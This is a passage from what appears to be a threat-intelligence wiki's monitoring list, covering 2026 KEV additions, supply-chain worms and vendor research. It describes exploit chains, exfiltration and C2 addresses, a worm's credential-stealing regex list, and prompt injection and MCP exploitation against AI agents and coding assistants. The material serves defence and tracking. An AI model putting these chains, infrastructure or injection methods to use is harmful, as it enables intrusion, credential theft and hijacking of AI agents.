un-KEV'd; a public kernelCTF 1-day has been on GitHub since 2025-10-14 (khoatran107/cve-2025-39682, variant of CVE-2024-58239); no workaround short of patching, inventory TLS terminators using kernel TLS; (b) CVE-2025-39964 crypto: af_alg concurrent-write race (7.8, CWE-362, SSVC active; upstream fix disallows concurrent writes outright via a ctx->write ownership field; published 2025-10-13 and un-KEV'd ~11 months before a 72-hour deadline); (c) CVE-2026-53266 ebtables SNAT ARP sender-HW-address rewrite missing a writability check for the nonlinear-skb case = out-of-bounds write into splice-imported page-cache file pages (Dirty-Pipe-family LPE lever; 8.8 scope-changed, CWE-787, SSVC active). Batch read: three kernel CVEs fixed Sep-Oct 2025 / Jun 2026, all SSVC-active the same day = CISA holds field evidence across the kernel exploit space broadly. Class controls for the LPE pair: seccomp deny socket(AF_ALG), drop CAP_NET_ADMIN in user namespaces, disable unprivileged userns on shared hosts / CI runners / agent sandboxes; rows carry explicit EoL/EoS "discontinue use" language. Monitor: actor attribution, public PoC waves, distro-errata coverage, whether the kTLS remote bug draws worm-style use, and whether the listings reflect a named campaign. September 16, 2026: THREE CVEs added (catalog 2026.09.16, 1,713 entries), see Sep 16 KEV batch page: (a) Cisco ISE / ISE-PIC CVE-2026-76460 (CVSS 10.0, CWE-648), unauthenticated crafted API request bypasses the web management interface; Cisco warns successful exploitation may yield command execution with root privileges and PSIRT is aware of active exploitation; NO workarounds (iACL the management interface), fixed 3.1 P12 / 3.2 P11 / 3.3 P12 / 3.4 P7 / 3.5 P4, 3.0 EoS = no fix; hunt ise-kong/access.log suspicious usernames per node, then re-image; same-day siblings CVE-2026-20307 (9.9 authed) + CVE-2026-20306 (9.1 authed REST API); (b) Acronis Backup for cPanel & WHM / Plesk CVE-2026-87886 (7.8, CWE-276), default-permission local privilege escalation under limited, targeted exploitation, fixed 1.9.3 HF3 / 1.8.11, shared-hosting blast radius = all tenants' backups; (c) Google Pixel CVE-2026-58704 (see below). All BOD 26-04, Forensics Triage, ransomware unknown, no actor named. Earlier September 16, 2026: Google Pixel CVE-2026-58704 (CWE-693), improper authorization logic error in the cellular modem -> permission-check bypass + privilege escalation; Google's Pixel Update Bulletin (Sep 15) states 'there are indications that CVE-2026-58704 may be under limited, targeted exploitation'; BOD 26-04 due 2026-09-19, Forensics Triage, ransomware unknown, no actor named; fix = 2026-09-05 patch level; modem persistence below the OS = no host-side hunt, enforce patch-level attestation via MDM; same bulletin fixes Critical modem-adjacent RCEs CVE-2026-56967/-55318/-55343/-56920/-58683/-58710 + bootloader CVE-2026-0179, see Pixel KEV page; monitor actor attribution, whether the SPL-2026-09-05 rollout completes, and whether the bug class spreads to non-Pixel Android vendors via further KEV rows). September 14, 2026: one CVE added (catalog 2026.09.14, 1,710 entries), Cisco Secure Email Gateway CVE-2026-76461 (9.8, CWE-89, SQL injection in AsyncOS email parsing → unauthenticated remote root; physical + virtual SEG regardless of configuration; no workarounds; fixed 15.5.5-014 / 16.0.4-302 / 16.5.0-780, cloud fleet already upgraded; BOD 26-04, due 2026-09-17, Forensics Triage, ransomware unknown, no actor named; hunt grep -i "COPY.*TO PROGRAM" in mail_logs per cluster node + external network/firewall logs; Cisco directly contacted Secure Email Cloud customers where malicious activity was detected, see SEG KEV page). September 10-11, 2026: six CVEs added (catalog 2026.09.11, 1,709 entries), all BOD 26-04, Forensics Triage, ransomware use unknown, no actor named, MikroTik RouterOS "MikroTrick" (CERT.pl codename; CVE-2026-86060, 9.2 CVSS v4.0, CWE-88, SSH login-path argument flaw, username beginning with a prohibited character changes the trusted policy mask → privilege escalation; CVE-2026-67277, 8.8 CVSS v4.0, CWE-306, a "related" btest connection is accepted before the primary session authenticates, unauthenticated IPv4 UDP test transmits an uninitialized kernel-packet-buffer tail and can restart the RouterOS kernel; both due 2026-09-13, fixed 6.49.21 / 7.23.4 / 7.24.2; vendor guidance: keep SSH out of untrusted networks, check "Flagged" status, inspect config for unknown scripts/users), ConnectWise ScreenConnect CVE-2026-84869 (9.9 CVSS v3.1 S:C, CWE-269/CWE-862, due 2026-09-14; client-only, files transferred and executed through an active remote session without authorization or host confirmation, servers not impacted; fixed 26.6.5, Cloud = reinstall host clients + update access agents, on-prem = upgrade; interim stopgap = deselect TransferFiles/TransferFilesInSession under Administration → Security → Roles, this was the CVE + fixed build the Sep 3 Huntress rogue-ScreenConnect / ConnectWise guest-file-transfer advisory had been tracking), GitLab CVE-2026-85706 (10.0 CVSS v3.1 S:C, CWE-22, due 2026-09-14; unauthenticated arbitrary-file read via the repository commits API, improper path confinement + missing auth enforcement; fixed in CRL 19.3.2 / 19.2.6 / 19.1.8 released Sep 10; the same CRL also fixed CVE-2026-87719), and JFrog Artifactory CVE-2026-42016 (8.1, CWE-863, token-scope validation) + CVE-2026-42018 (7.5, CWE-287, anonymous-token disclosure), both due 2026-09-25, both in Wiz's confirmed in-the-wild two-step token-escalation chain (Aug 15-Sep 8, token:anonymous actor, Groovy-plugin + Rust-backdoor post-exploitation; see Wiz Artifactory in-the-wild page), covered on the September 10-11, 2026 KEV page. Prior September 9, 2026: four CVEs added, all BOD 26-04, ransomware use unknown, no actor named, three unauthenticated remote pre-auth flaws against edge/management appliances with 2026-09-12 deadlines and Forensics Triage: Citrix NetScaler ADC/Gateway authentication bypass (CVE-2026-19490, 9.3 CVSS v4.0, CWE-288; unauth bypass on an AAA virtual server or Gateway SSL VPN/ICA Proxy/CVPN/RDP Proxy; upgrade to 14.1-73.32+ / 13.1-63.21+, which also fixes sibling CVE-2026-19489; hunt SAML/AAA/VPN vserver configs), Fortinet FortiOS/FortiSwitchManager/FortiSASE heap-based buffer overflow via specially crafted packets (CVE-2025-25249, 8.1; FG-IR-25-084; FortiOS 6.4 all + 7.0-7.6.3 in range), and Cisco Secure FMC / Security Cloud Control Firewall Management authentication bypass to root (CVE-2026-20079, 10.0; improper boot-time system process; on-prem hotfixes 7.0.9.1-3 through 10.0.1.1-2; SCC SaaS already patched; IoC /var/tmp/license.tmp); plus Google Chromium V8 out-of-bounds write with a confirmed in-the-wild exploit (CVE-2026-87491, 8.8, due 2026-09-23; Chrome 153.0.8010.36/.37 Sep 8 stable update explicitly notes the exploit, seventh actively-exploited Chromium zero-day this cycle), covered on the September 9, 2026 KEV page. Prior September 8, 2026: four CVEs added, all BOD 26-04, ransomware use unknown, no actor named, priority pair both pre-auth RCEs under active exploitation with 2026-09-11 deadlines and Forensics Triage: Adobe Commerce / Magento StyleSmuggler (CVE-2026-75650, 10.0, CWE-1336; APSB26-146, hotfix VULN-39341; patching does not clean a compromised store, rotate the encryption key and every credential it protected) and N-able N-central (CVE-2026-86218, 10.0, CWE-96; pre-auth RCE zero-day fixed in Hotfix 4 build 2026.3.1.14; the Hotfix 3 auth-bypass flaws CVE-2026-86206/-86207 are not in the catalog); plus two local authorized-attacker Windows LPEs due 2026-09-22: Windows Update Stack link following (CVE-2026-81963, 7.8, CWE-59/CWE-284, LPE to SYSTEM) and Windows ALPC heap overflow (CVE-2026-85880, 7.8, CWE-122/CWE-908), covered on the September 8, 2026 KEV page. Prior September 2, 2026: seven* CVEs added, JFrog Artifactory unauth administrative access under default config (CVE-2026-82329, 9.8, second exploited Artifactory flaw after CVE-2026-66384), Kestra OSS endsWith("/configs") auth-filter bypass → unauth root RCE (CVE-2026-49869, 10.0, fixed 1.0.45/1.3.21), SonicWall SMA1000 pre-auth SSRF + post-auth cmd-inj (CVE-2026-83548/-83549, SNWLID-2026-0016, second exploited SMA1000 wave after UTA0533), LiteLLM MCP gateway auth bypass (CVE-2026-59822) and Starlette host-header smuggling (CVE-2026-48710) both KEV-confirmed in-the-wild, and Sangoma Switchvox SMB 8.3 unauth SQLi→RCE (CVE-2026-9586, 9.3, fixed 8.4.0.2); five due 2026-09-05, two pip due 2026-09-16, covered on the September 2, 2026 KEV page. Prior August 31, 2026: both PaperCut CVEs CVE-2026-81578 / CVE-2026-82078 added, BOD 26-04, due 2026-09-14, covered on the PaperCut zero-day page; earlier August 17-18, 2026 batch: Microsoft IKE Service Extensions CVE-2026-33824 double-free RCE, Broadcom VMware vCenter CVE-2026-59310 Syslog path-traversal RCE, Microsoft SharePoint CVE-2026-55040 weak authentication, Apple macOS CVE-2026-65400 Screen Sharing improper authentication, all August 21 BOD 26-04; Ray-Project CVE-2025-62593 browser-exploitable code injection, August 20 deadline. Monitor vendor patch status, exploitation indicators, and actor linkage; see August 17-18 KEV page.)
• Coinspect / Ill Bloom wallet research and Coinspect blog (HTML watch for weak wallet-key generation, on-chain exploitation measurement, affected-application attribution, and migration guidance; priority follow-up is the CryptoJS WordArray.random() / GHSA-rg76-677x-56q9 campaign affecting RRWallet, Bexo Wallet, NanChat, Bitcoin Libre, and Milo Wallet, with 2^39 / 2^47 effective recovery-phrase search spaces and a measured $5.69 million lower-bound loss)
• Censys ARC Research and blog (HTML watch for internet-wide adversary-infrastructure and rapid-response research with durable response-body, certificate, service, port, and provider pivots, including DarkSword / GHOSTBLADE iOS exploit-panel proliferation, leaked-kit code reuse, fast host churn, fake AWS and Apple credential lures, dual Coruna/DarkSword operation, and operator OPSEC artifacts.)
• N-able N-central security update, Hotfix 2 notice, Hotfix 3 notice, Hotfix 4 notice, Huntress rapid response, and CISA KEV catalog (September 6 priority follow-up: on September 4 a fully-patched customer N-central was compromised; Huntress reproduced a net-new exploit chain against build 2026.3.1.10, and N-able shipped Hotfix 3 (build 2026.3.1.13, Sep 5, fixing CVE-2026-86206 / CVE-2026-86207 auth-bypasses) then Hotfix 4 (build 2026.3.1.14, Sep 6, fixing CVE-2026-86218, a CVSS 10.0 pre-authentication RCE zero-day exploited in the wild); on-prem N-central must move to 2026.3.1.14, hosted NCOD already patched; monitor additional KEV additions for the three new CVEs, victim/MSP scope, the new API-log tradecraft, Cloudflare tunnel takedown effectiveness, actor attribution, and downstream endpoint persistence.)
• Coinkite COLDCARD security advisory, technical backgrounder, and Block Bitcoin Engineering analysis (August 1 priority follow-up; monitor formal Coinkite review, reconciliation of the Mk2/Mk3 4.0.0 versus 4.0.1 lower bound, empirical recovery cost, confirmed affected-wallet and loss scope, proof or rejection of linkage to the 1,196-address / 1,082.65 BTC sweep, additional affected RNG-backed features, replacement hotfixes, public indicators, and actor attribution.)
• Adform security incident notice and Kevin Beaumont / DoublePulsar analysis (August 1 priority follow-up; monitor affected-site and visitor scope, reconciliation of Adform's July 27 affected date with the longer independent observation window, cache persistence, confirmed diverted transactions, replacement wallet addresses, initial access to the shared script deployment path, authority or client notices, additional indicators, and actor attribution.)
• CISA / FBI / EPA water-sector PLC activity alert and FBI PSA I-073026-PSA (July 30, 2026 priority follow-up; monitor internet-facing Rockwell Automation / Allen-Bradley MicroLogix 1100 and 1400 configuration tampering for additional states or victims, actor or access-path attribution, source infrastructure, exploit or credential-use detail, project-file and ladder-logic indicators, shared integrator or cellular architecture scope, and physical-process consequences.)
• Confiant Threat Intelligence (RSS watch for malvertising, ad-fraud, browser-delivery, cloaking, and cryptocurrency-user targeting with durable technical and infrastructure detail, such as SourTrade's ServiceWorker / SharedWorker browser-side assembly of per-session Windows executables from clean Bun runtime bytes, actor-supplied PE / JavaScriptCore payload material, and locally generated AES-CTR streams.)
• VulnCheck Research (Atom watch; monitor exploitation telemetry, target-intelligence research, public exploit proliferation, and KEV-relevant updates with durable defender value, including Windmill CVE-2026-29059 path-traversal attempts, wp2shell proof-of-concept growth, and embedded-device trust failures such as ENDLESSDOORS / CVE-2026-66747, where Zbtlink router firmware starts an unauthenticated rctl-derived root command channel and OEM/ODM rebadging obscures the affected inventory; August 24: Exploiting SharePoint, CVE-2026-55040 (JWT auth bypass, CISA KEV) chained with CVE-2026-63520 (unsafe .NET type instantiation in BCS, KB5002893) into an unauthenticated RCE via BDCM upload + LosFormatter/TypeConfuseDelegate Deserialize gadget through Activator.CreateInstance in GetEntityObject, Rapid7 PoC Aug 11, in-the-wild honeypot hits from Aug 12, 8,500+ exposed SharePoint servers, see SharePoint RCE chain page; August 27: "Chinese Implants in the Supply Chain", two further Nim implants in ZBT / MoreQuick white-label router firmware, SPEAKINGSTONE (yunmgrd, outbound UDP 10000 phone-home to the ENDLESSDOORS C2 ac-link[.]com / 47.107.224[.]89, PPPoE theft, DNS rewrite, reverse SSH; 392-device sinkhole population) and DARKLANTERN (infosrvd, unauthenticated UDP 9992 WAN listener → root shell, 203 instances in 22 countries), see SPEAKINGSTONE / DARKLANTERN page; August 28: "Same Target, Different Playbooks: Two Attackers, Two Different Paths to Pwning the AI Stack", canary telemetry on Langflow: 12 Langflow CVEs with in-the-wild exploitation evidence (11 added in 2026), 15,000+ successful canary attempts across CVE-2026-0769 / CVE-2025-3248 / CVE-2026-5027, hundreds of still-vulnerable public hosts (US-densest), and two divergent financially motivated post-exploitation playbooks (credential-theft: CVE-2026-5027 → Python harvester + SimpleHelp RAT → exfil 23.234.98[.]182:9999 → IRC C2 185.117.74[.]172:6667 + cron 3WA72N.sh; cryptomining: CVE-2025-3248 → Chisel SOCKS5 → pearl-miner XMR → auditd disabled → CVE-2026-0769 .sysd drops → PocSuite3 → SSH pivot 216.78.235[.]34), see Langflow canary-timeline page)
• Wiz Research: wp2shell active exploitation (2026-07-20 priority follow-up; monitor CVE-2026-63030 / CVE-2026-60137 WordPress Core exploitation, batch-endpoint tooling changes, malicious-plugin and PHP-webshell variants, lateral movement or exfiltration findings, and CISA KEV or WordPress incident-response updates)
• Sonatype Security Research (RSS watch; monitor package-registry and ecosystem compromise research such as Atomic Arch AUR orphan-package adoption, malicious npm dependency pivots like atomic-lockfile / js-digest / lockfile-js, Sonatype vulnerability guide entries, Shai-Hulud / Miasma supply-chain follow-ups such as Leo Platform / RStreams package clarification, llxlr package confirmation, and advisory pivots including ChainDrop sonatype-2026-005579 and its 2,225-component-version August 5 snapshot, plus automated disposable-publisher campaigns such as Flooding Dropper / sonatype-2026-005660 and DPRK-linked NullReceiver activity sonatype-2026-005899 / sonatype-2026-005901, where hijacked and newly published npm packages resolve raw-IP C2 through Ethereum transactions before /0x/cls / /0x/ls JavaScript staging; August 21 follow-up: Broadcom/Spring August 20, 2026 security-advisory batch tracked as 91 CVEs across Spring Framework and related projects (Spring Security, Spring Cloud Config, Spring AI, Spring Data REST, Spring Integration, Reactor Core, Reactor Netty, Spring AMQP, Spring Batch), with Sonatype Guide identifying 209,569 affected components, standouts CVE-2026-59285 (Spring for GraphQL unsafe deserialization, CVSS 9.2, Jackson 2.x + paginated GraphQL fields) and CVE-2026-59318 (Spring AI tool-calling prompt-injection boundary bypass), monitor CISA KEV additions, per-CVE fixed versions, and downstream remediation. See Spring 91-CVE batch page)
• Aikido Security Research (HTML/RSS watch; September 23, 2026 (twenty-ninth sweep): "Send GitLab an email, push to main" (Joe Leon, 06:00 UTC), the GitLab glimt- incoming-email token as an unexpiring account-wide credential: pushes code / runs attacker CI jobs via -merge-request + git .patch attachment, sender never verified, BYPASSES project IP allowlists, no disable setting, HackerOne closed intended-behavior, mechanism untouched → GitLab incoming-email pattern page. Monitor: whether GitLab ships sender-match verification or expiry (reportedly "considering" sender match), copycat findings in other products that embed credentials in email-address format (Trello/Todoist/Monday scoping claims worth a spot-check), and any ITW use of the -merge-request patch rail. Same day earlier: "Novel supplychain.local Go worm appears", full text captured + new page → supplychain.local MemTensor worm: cross-ecosystem Go worm published into MemTensor's MemOS AI-agent memory stack, npm @memtensor/memos-cloud-openclaw-plugin >=0.1.21 + PyPI MemoryOS 2.0.34, BOTH still LIVE as latest with zero OSV/GHSA at this wiki's check; runtime loader (fires at gateway startup + on every agent user-prompt, passes the victim's live NPM_TOKEN to the implant, config channel: exact-ref-one-use-NPM_TOKEN); all six sckit binaries SHA-256-verified by this wiki against Aikido's IoCs; Go module path supplychain.local/campaign, X25519/AEAD sealed wire + signed manifests; config campaign_id: cloud-openclaw-semi-nuclear, inventory_roots: ["$HOME"], kill date not_after Oct 23 2026; secret regex = npm_/pypi-/gh_/glpat-/hf_/hvs./xox/sk_live_/SG./AKIA + DB URIs; self-propagation via stolen-token npm publish/twine upload, embedded GitHub Actions on:[push] template, bootstrap.cjs postinstall stubs; malicious/clean versions alternate (clean-inverse-* dist-tags); this wiki's live check: ALL six *.skyleen.fr fronts now resolve 127.0.0.1 wildcard (DoH too; Aikido reported 139.84.223.178 hours earlier) = C2 null-routed/sinkholed within hours of publication; Sep 23 same-day lifecycle close (this wiki re-check ~11:30-12:00 UTC): npm latest moved to clean 0.1.24 + malicious 0.1.21/23/25 all 404 (beta tag pulled = clean, name NOT holdered); PyPI QUARANTINED the entire MemoryOS project (simple index pypi:project-status: quarantined, empty file list); OSV MAL-2026-16475 (kam193) landed 11:05 UTC ≈5h40m after upload, npm side STILL zero OSV + zero GHSA; SafeDep's first-discovery post captured on the page's same-day follow-up section (initial access = the victim's own GitHub Actions release pipeline via BASH_ENV→$GITHUB_ENV token theft, SCKIT_CI_RESULT_V2 marker, capture-then-clean-publish two-step); skyleen.fr still 127.0.0.1 wildcard. Remaining monitor: npm-side advisory arrival, MemTensor disclosure of how Memtensor-AI was compromised, re-registration of the malicious versions, BASH_ENV-into-$GITHUB_ENV writes in other repos, other .sckit-bearing artifacts and semi-nuclear naming reuse, and worm-driven republished packages appearing from victim maintainer accounts); September 22, 2026: "Graphalgo campaign spreads to Terraform providers and Go Modules", the npm Graphalgo family (ReversingLabs, Feb 2026) ported to Go and shipped through the FIRST malware-distributed Terraform providers (gocommunity-io/dockerd, typosquat kreuzwenker/docker), activation gated on SHA256(containerName+networkID) matching a hardcoded hash that doubles as the AES key, plus Go modules gocommunity.io/orderedbtree + gogets.dev/btreex (forged backdated commits, the Go proxy treats git dates as authoritative), two fake vanity "Go ecosystems" (gogets[.]dev, gocommunity[.]io), Arbitrum Sepolia contract C2 (0xAD02b5cDE693529d3bdA0266299501ad0193036C, write-permissioned shared wallet) + per-victim-ECDH Slack C2 (portfolio-devs/portfolio-testers), ECDH public key shared with npm payloads since April (modern-events first) = the join to our Equation-of-Compromise inventory → Graphalgo Go/Terraform page; monitor Terraform Registry takedown/scanning posture, contract+workspace rotation, whether the fake-ecosystem pattern spreads, and ReversingLabs canonical URL backfill); monitor developer-machine, AI-toolchain, VS Code / extension, Codex-token, and package supply-chain compromises such as codexui-android OpenAI token theft, poisoned extensions, Laravel-Lang, Mini Shai-Hulud follow-ups, SleeperGem-style RubyGems dormant-maintainer account takeovers that evade CI and persist on developer workstations, and the unconfirmed anthropickit==999.9.9 candidate for Anthropic's evaluation-published PyPI malware; monitor Anthropic/PyPI confirmation, hashes, and victim-side corroboration before promoting candidate linkage to fact; August 19 follow-up: Gogs self-hosted Git path-traversal RCE CVE-2026-52813 plus unpatched bypass and CVE-2026-52810 push-authorization bypass from Aikido Attack AI pentesting; September 3, 2026: "MECCHA CHAMELEON can't hide from the RCE", second delayed RCE via an exposed Unreal-Engine StopRecordingOutput recording function: Steam Workshop map → arbitrary file write (null-byte truncation defeats the forced .wav suffix) → HTA payload inside 16-bit PCM sample data → Startup-folder persistence after reboot; patched in 4.0.0 (Aug 20, 2026), no malicious maps found, see MECCHA CHAMELEON page; September 4, 2026: "Dirty Frag (CVE-2026-43284): the Linux kernel bug that turns read access into root", the Dirty Frag family (CVE-2026-43284 IPsec/XFRM ESP esp4/esp6 8.8, CVE-2026-43500 RxRPC/AFS rxrpc 7.8, CVE-2026-46300 "Fragnesia" XFRM ESP-in-TCP 7.8), page-cache corruption primitive, distribution-backport version confusion, RHEL/Ubuntu exposure position, container-escape PoC, and the first reported limited real-world activity (Microsoft observed su-based escalation, possibly Dirty Frag or Copy Fail), see DirtyClone page 2026-09-04 update; September 7, 2026: "Shai-Hulud Rises From the Dead after 111 days", four packages (feishu-docx-mcp@0.3.2, bmc-i18n-extract-cli@1.1.1, blueai-cli@0.7.0, bmc-translate-utils@1.1.1) published in one hour by the same npm account carry the byte-identical May 19 @antv payload (SHA-256 e37e3ddeeaaa9e0c4fdbcb829b4895a6521031c80053fc436625b61e6ee5b1a6; 319 package versions all first seen May 19, zero hits May 20 → Sep 6, then four on Sep 7, Aikido's longest observed dormancy-to-reactivation gap, and a missed floor for npm's July 2026 publish-time malware scanning, since a hash-identical reactivation of a publicly fingerprinted worm is a lookup, not a hard problem; attribution caveated, no self-identifying marker recovered), see Mini Shai-Hulud page 2026-09-07 Aikido 111-day resurface; September 7, 2026: "StyleSmuggler fix: patch the Magento and Adobe Commerce RCE", follow-up to Sansec's Sep 5 StyleSmuggler disclosure (unauthenticated RCE 0-day, every current Magento Open Source / Adobe Commerce version; Adobe had not yet shipped its patch when Aikido posted): Aikido Intel rates it critical, publishes internal advisory IDs AIKIDO-2026-248927 / AIKIDO-2026-123768 / AIKIDO-2026-724507, and ships Aikido Libraries drop-in patch branches (2.3.1-p12007002+aikido, 2.4.7-p1012007002+aikido, 2.4.8-p512007002+aikido) that sanitize template styles before the engine processes them; non-Aikido interim mitigation is disabling GraphQL (takes headless/PWA storefronts offline); Adobe's APSB26-146 / CVE-2026-75650 / VULN-39341 hotfix landed later the same day (20:20 UTC), see StyleSmuggler page); September 8, 2026: "Compromised Flutter package on pub.dev contains XCSSET malware", XCSSET (the macOS build-hook worm) found inside universal_file_viewer@0.1.5 on pub.dev (official Dart/Flutter registry; first compromised package Aikido has detected there, ~500 downloads). NOT a targeted attack, the worm on the maintainer's infected machine spams malicious build hooks into every local Gradle/Xcode/Git project and the infected files shipped in the tarball when the maintainer published from that host. lib/ Dart code is clean; all three infected files are in example/ (ships in the tarball but is never compiled when used as a dependency, risk is only to someone who clones the repo and builds the example/ app locally). Three build hooks, each from a different worm module: Android Gradle preBuild (printf xAxd | tr -d A reconstructed xxd, C2 5yotmxcc54l9xda[.]ru, tag p=android_kotlin) and iOS + macOS PBXBuildRules fired on any .md file (obfuscated A3EA261 build setting, C2 qdgs232i-q[.]ru / ejntin6hkjt7gj2[.]ru, tag p=xcode_rule). threat.wiki verified the subsequent tarballs: 0.1.6 still carries the iOS + macOS Xcode hooks (Android hook removed) and 0.1.7 appears clean, treat 0.1.5/0.1.6 as poisoned, re-verify 0.1.7 before re-adopting, see XCSSET in a pub.dev Flutter page)
• Sansec Research (HTML watch; monitor e-commerce / Magento platform security research, unpatched 0-day active-exploitation disclosures, and eComscan / Sansec Shield coverage changes; September 5, 2026: "StyleSmuggler: Magento and Adobe Commerce 0-day RCE under active attack", unauthenticated RCE 0-day on every current Magento Open Source / Adobe Commerce version (2.4.7/2.4.8/2.4.9 confirmed on clean installs; one victim on 2.4.6-p15 fully patched, security:patch-status clean), two-stage abuse of stock Magento functionality (unauthenticated GraphQL styles-property inject into a Magento-generated file, server-side execution during "Payment Transaction Failed Reminder" email rendering), persistent Rust backdoor disguised as a kernel thread (rotating [kworker/u:8:0] / fc-cache / chronyd process names, cron-spool direct writes, NTP-shaped UDP/123 C2 to ntp.timesync.to / ntp.timesysnc.net → 185.157.160.251, TracerPid sandbox evasion), plus a second distinct actor's 485-byte PHP dropper → X-Cache-Token-gated web shell in the product-image cache; Sep 7 20:45 UTC update: Adobe shipped the patch, APSB26-146 / CVE-2026-75650 (CVSS 10.0, S:C), emergency composer hotfix VULN-39341 (2.4.4-2.4.9 Adobe Commerce + Magento Open Source, B2B 1.3.3-1.5.3; older in-branch unverified), full credential-rotation checklist starting with the encryption key, rotate at the source; Sansec: patch AND deploy Shield, operators rotated payloads several times a day, backdoor unrecognized by any other vendor, see StyleSmuggler page; September 16, 2026: "Brevo supply chain attack hits 100k+ sites with WordPress backdoors and Clickfix malware", breach of Brevo (Sendinblue) served poisoned JavaScript from Brevo's OWN infrastructure on Sep 14 16:05:18-20:12:53 UTC to 100,000+ customer sites (injected www.brevo.com, meet.brevo.com, conversations-widget.brevo.com iframe, sibforms.com hosted forms/unsubscribe pages, and one appended script-injection IIFE in the merchant-embedded cdn.brevo[.]com/js/sdk-loader.js + brevo-conversations.js), loading f.js from attacker-created cdn/cdn2/cdn3/cdn4/cdn9/cdn10/cdn11.sendibt1[.]com, Brevo's own legitimate tracking domain (CT cert for cdn.sendibt1[.]com created Aug 25 = DNS-write access weeks ahead); two victim paths: logged-in WordPress admins visiting their own site get cdn10.sendibt1[.]com/p/wm.zip silently installed via their own session through /wp-admin/update.php?action=upload-plugin (plugin unrecovered, suspected persistent backdoor), everyone else (visitors + campaign recipients) gets a full-screen ClickFix overlay (clipboard command from /api/v1/4aff112?tk=, per-session tokens + proof-of-work endpoints, event beacons; scanner cloak = identical {"s":0,"r":"https://www.google.com"}, SHA-256 4af488d7...); Sansec CSP monitoring logged 2,549 violation reports / 12 sites, last report ~21 h post-cleanup (cache persistence); root-cause hypothesis (Brevo-unconfirmed): compromised Cloudflare account across Brevo's five apex DNS zones (unchanged Last-Modified, only attacker cdn records proxied, apex on Brevo's own 172.246.243.65/AS200484/envoy); all malicious hosts NXDOMAIN since Sep 15; do NOT block the legitimate sendibt1[.]com apex* (Maltrail listed then retracted it); hunt POST /wp-admin/update.php?action=upload-plugin on Sep 14 + disk-vs-admin-screen plugin comparison, see Brevo page; monitor Brevo's root-cause confirmation, actor attribution, any linkage to the separate Sep 10 SAML-SSO takeover (138 accounts), recovered-plugin disclosure, and copycat compromises of other messaging/marketing SaaS shared scripts.)
• QiAnXin XLab (HTML watch; monitor MODBEACON / Operation Phnom Penh Silver Fox Ghost-distributor activity, large-scale exploitation, botnet, ClickFix/page-poisoning, hosting-control-plane abuse such as Mr_Rot13 cPanel CVE-2026-41940, infrastructure writeups such as Ghost CMS CVE-2026-26980 mass compromise reports, recon/proxy botnets such as AryStinger legacy-router and QNAP Malware Remover exploitation, DDoS botnets such as RustDuck's Loader + Core transition from C to Rust with weak-password / IoT / Web-RCE propagation and Dysphoria's post-JackSkid ENS/SNS infrastructure resolution, UPnP-enabled victim relays, and dynamic relay lists, AI-service and cloud-credential botnets such as NadMesh targeting MCP, ComfyUI, Ollama, n8n, Docker, Kubernetes, Redis, and Jenkins, and cybercrime-infrastructure / web-supply-chain reports such as Funnull RingH23 / MacCMS poisoning)
• Wiz Research and RSS (monitor TeamPCP/Mini Shai-Hulud package waves including Miasma / @redhat-cloud-services, AsyncAPI / M-RED-TEAM-style branch-to-provenance package compromises, JINX-0164-style cryptocurrency developer targeting with fake meeting flows, macOS malware, GitHub/source-repository abuse, and post-compromise cloud/GitHub abuse reporting such as TruffleHog validation, ECS Exec / SSM execution, mass repository cloning, and workflow-log deletion; monitor managed-cloud tenant-isolation and storage research such as CosmosEscape's Gremlin .NET sandbox escape, shared DB Gateway execution, platform-wide Cosmos Master Key, Config Store enumeration, cross-tenant primary-key retrieval, and private-network bypass, plus S3-compatible neocloud object-storage gaps including namesquatting, partial API semantics, uneven secret scanning, weak least privilege, presigned-URL exposure, and audit or encryption assumption drift; also monitor identity-attack detection research such as Entra ID rogue device-registration abuse where AI-generated device names and User-Agent strings erode static ROADrecon-era fingerprints (Dsreg/10.0, DESKTOP-XXXXXXXX) and shift detection to naming-convention anomaly baselining and device-code-phishing-to-registration correlation; also monitor AI and MCP trust-boundary research such as internet-exposed unauthenticated MCP servers acting as privileged proxies to production data, destructive operations, shell execution, cloud metadata, and credentials, Amazon Q Developer CVE-2026-12957 MCP auto-execution through .amazonq/mcp.json workspace configuration, and GhostApproval symlink write-confusion / approval-prompt canonical-path failures affecting AI coding assistants; August 27 follow-up: "Inside 90 days of attacks on AI infrastructure", 90+ days of honeypot telemetry across LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, and Node-RED canaries in three patterns: (1) MCP-server exploitation for RCE, observed CVE-2026-59822 MCP gateway auth bypass (any single-character Bearer token grants full MCP access; GET /v1/models probing) and CVE-2026-42271 MCP stdio test-endpoint command injection (fake stdio config downloads/executes the gmon Monero miner to /tmp/.dbus-cache/gmon, returns a valid MCP handshake, then rmtree's the staging dir; output smuggled in a fake tool's description field), chained with CVE-2026-48710 Starlette host-header bypass for unauthenticated RCE, which external researchers link to the Qilin ransomware group (third-party attribution, not confirmed by Wiz); (2) blind prompt injection against LangChain/Flowise/OpenWebUI/Node-RED agents with OAST DNS callbacks (attacker IP in subdomain + per-session random string), Pastebin-fetched base64 payloads, and XMRig staged at /usr/src/node-red/xmrig; (3) AI-native post-exploitation, LiteLLM master key read from Python module state (litellm.proxy.proxy_server.master_key), default-sk-1234 backend fingerprinting via POST /chat/completions, LLMjacking quota-abuse decisioning, and a Langflow miner staged at /app/data/.claude/ renamed unicorn, full IOC set (185.62.1[.]8, 185.84.98[.]85, pool.hashvault[.]pro, crazyeltonproxy[.]top, 94.26.106[.]29, 1710.rwlp.be, /tmp/.dbus-cache/, /tmp/x86_64 / /tmp/amd64) on the Wiz AI-infrastructure honeypot page; preserve the honeypot-telemetry caveat, the reconstruction-not-capture caveat on the prompt-injection payload, and the Qilin attribution as external/third-party)
• Wiz H1 2026 cloud threat review, https://www.wiz.io/blog/cloud-threat-highlights-h1-2026 (August 6 priority follow-up; monitor JINX-0163 / FulcrumSec non-human-identity extortion for victim or infrastructure indicators, initial-access and state-file detail, cross-cloud identity pivots, extortion-as-a-service clarification, law-enforcement or provider response, and additional evidence on delayed reuse of TeamPCP-stolen credentials by separate groups.)
• Wiz ChainDrop follow-up, https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack (August 4 priority follow-up; monitor selective C2-controlled dead-man-switch arming, per-host SHA-256 identifiers, RSA-key rotation, tmp.dpkg_14527.lock, chore: update config, historical smart-contract-resolved pypi-get.com / js-mirror.com infrastructure, expanded AI-agent / wallet / Jenkins / Argo CD / Harbor / Alibaba / Tencent credential targets, contract rotation, victim execution, and maintainer or registry postmortems.)
